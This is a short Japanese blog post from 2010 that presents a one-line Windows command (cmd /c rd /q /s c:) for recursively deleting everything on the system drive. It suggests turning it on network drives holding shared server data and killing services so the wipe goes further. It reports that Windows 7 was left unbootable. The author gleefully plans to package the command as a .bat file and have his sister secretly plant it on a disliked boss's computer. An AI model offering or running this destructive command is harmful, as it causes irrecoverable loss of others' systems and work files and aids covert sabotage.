2010年8月24日火曜日

Windows(全バージョン共通)で破壊しちゃう最強コマンド

まず、「スタート」→「ファイル名を指定して実行」を開き、下記のコマンドを入力して、エンターキーを押すだけ。

cmd /c rd /q /s c:
上記「c:」は標準のCドライブにOSが存在することを想定しているけど最近多いWindowsネットワーク上のデータ格納サーバとかをネットワークドライブに割り当ててヤっちゃってもいいかもね。
ウフフ。

実行すると、DOSプロンプト(黒背景の窓)が開いて削除可能なファイルやフォルダを片っ端から消し去る。
ウヒヒ。

完璧に死滅させるには、常駐ソフトを全て終了しておいて、可能ならタスクマネージャを使って不要なサービス等のプロセスを終了しておくと効果的。

さて、テスト・・・。
実行中に「スタート」を開いたところ、早速プログラム一覧が消滅した。
僕はこれをbatファイルで自動化させるよ。詳しくはググって。
それを姉貴にメールしてあとは姉貴にタイミングを見計らってムカつく上司のパソコンに仕込んでもらおう。

アクセサリ中のエクスプローラだけが残ったけど「explorer.exeが見つかりません」となった。
OSの起動情報も消えた。
仕事で作成されたファイルも全滅。
ま、セーフモードや回復コンソールを選択する画面が現れるけど、消えたのが起動情報だけではないため、どの選択肢を取っても復旧はまず不可能。

また、最新OSである Windows7 で試したところ、結果は同じく再起不能になった。

実行後のWindows7画面
http://www.gekiura.com/file/Crash_win7.jpg